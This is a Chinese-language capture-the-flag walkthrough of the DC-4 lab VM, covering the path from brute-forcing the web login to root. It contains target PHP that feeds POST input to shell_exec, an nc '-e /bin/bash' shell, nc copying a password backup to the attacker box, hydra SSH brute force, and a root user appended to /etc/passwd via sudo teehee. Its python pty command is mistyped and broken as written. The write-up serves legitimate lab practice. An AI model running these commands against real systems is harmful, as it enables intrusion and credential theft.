DC系列共9个靶场,本次来试玩一下DC-4,只有一个flag,下载地址。
下载下来后是 .ova 格式,建议使用vitualbox进行搭建,vmware可能存在兼容性问题。靶场推荐使用NAT(共享)模式,桥接模式可能会造成目标过多不易识别。
IP
DC-4: 192.168.31.176
Kali: 192.168.31.17
Win7: 192.168.31.168
信息搜集
首先是主机发现,得到靶机ip
arp-scan -l
对其进行端口扫描,开放了80、22、4444端口
nmap -sV -A -p- 192.168.31.176
先80端口登上去看一看,是个登录窗口。
御剑对其进行目录扫描,所有php网页都是跳转到index.php,因此无论如何都要登录进去得了。
渗透过程
这个登录界面做的很简易,明显就是想让人攻进去。或许存在sql注入(但我没有试出来),直接丢进burp一波爆破,爆出账号admin,密码happy。登进去后是一个命令执行。
使用burp抓个包看看能否截获。果然只要修改radio的值就能修改执行的命令。
当然shadow是不可能让我们看的,可以看一看login.php,密码确实是happy。部分源码如下:
login.php
...
<?php
$username = $_POST['username'];
$password = $_POST['password'];
if ($username == 'admin' && $password == 'happy') {
$_SESSION['LoggedIn']=$username;
}
else
{
...
command.php
...
if (isset($_SESSION['LoggedIn'])) {
if (isset($_POST['submit'])) {
if(isset($_POST['radio']))
{
echo "You have selected: ".$_POST['radio'] . "<br />";
$my_cmd = $_POST['radio'];
//echo $my_cmd;
$output = shell_exec($my_cmd);
echo "<pre>";
print $output;
echo "</pre>";
}
}
echo "<p><a href='login.php'>Return to the menu.</a>";
}
...
本来想上传个webshell,结果当前目录没有写的权限,我是用命令执行漏洞nc反弹shell的。
nc -lvp 4444 -e /bin/bash #靶机发送shell
nc 192.168.31.176 4444 #kali连接
python建立虚拟终端
python -m 'improt pty;pty.spawn("/bin/bash");'
登录进来就是www-data用户。
提权
然后就各处常见目录翻一翻,最终在/home中发现三个人类用户-> jim, charles, sam
只有在jim中有文件,其他都是空的。
test.sh就是个循环四五遍的echo测试,mailbox是root发给他的一封信,也没有什么有价值的内容。backups中有文件old_passwords.bak密码备份文件,利用python建立HTTP服务或直接nc传输到kali上来进行ssh的爆破。
nc 192.168.31.17 7890 < old_passwords.bak
nc -lvp 4444 > pass.txt
hydra -l jim -P pass.txt 192.168.31.176 ssh
爆破出jim的ssh密码为:jibril04
直接ssh连上去。sudo -l看一下能执行什么管理员权限,结果直接sudo就没有权限。内核漏洞更是不存在。
这里我卡了很久,一直没有什么提权思路,jim的权限着实太低了什么都不能干,一直想着怎么提到root,最后想到还有两个用户,可以二次提权。最终那封邮件给了我启发,在/var/mail中找到一封jim的邮件,查看里面就有charles的密码,真是没想到。
su到charles后就能执行sudo -l了,发现teehee是可以以无密码以sudo执行的。
我也不知道teehee是什么,–help看一下文档,
-a 参数可以追加文件,但不会覆盖,直接就想到了在passwd中加一个root权限的用户不就可以提权了。
echo "haha123::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
su haha123
最后在/root中找到flag
总结
整个靶场整体并不难,主要是后来得提权要通过邮件还是难想到的。